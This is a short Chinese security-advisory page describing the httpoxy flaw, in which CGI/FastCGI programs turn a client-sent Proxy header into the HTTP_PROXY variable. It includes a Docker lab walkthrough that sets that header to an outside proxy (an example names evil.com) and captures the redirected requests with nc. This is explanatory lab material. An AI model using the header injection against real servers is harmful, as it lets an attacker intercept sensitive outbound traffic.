标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2025-2549] 作者: future 发表于: [2020-01-16]
本文共 [423] 位读者顶过
简单来说,根据RFC 3875规定,cgi(fastcgi)要将用户传入的所有HTTP头都加上HTTP_前缀放入环境变量中,而恰好大多数类库约定俗成会提取环境变量中的HTTP_PROXY值作为HTTP代理地址。于是,恶意用户通过提交Proxy: http://evil.com这样的HTTP头,将使用缺陷类库的网站的代理设置为http://evil.com,进而窃取数据包中可能存在的敏感信息。 [出自:jiwo.org] PHP5.6.24版本修复了该漏洞,不会再将Proxy放入环境变量中。本环境使用PHP 5.6.23为例。 当然,该漏洞不止影响PHP,所有以CGI或Fastcgi运行的程序理论上都受到影响。
测试流程编译、运行本环境: docker-compose build docker-compose up -d正常请求http://your-ip/index.php,可见其Origin为当前请求的服务器,二者IP相等:
在其他地方找到一个可以正常运行的http代理,如http://x.x.122.65:8888/。 附带Proxy: http://x.x.122.65:8888/头,再次访问http://your-ip/index.php:
如上图,可见此时的Origin已经变成x.x.122.65,也就是说真正进行HTTP访问的服务器是x.x.122.65,也就是说x.x.122.65已经将正常的HTTP请求代理了。 在x.x.122.65上使用NC,就可以捕获当前请求的数据包,其中可能包含敏感数据:
|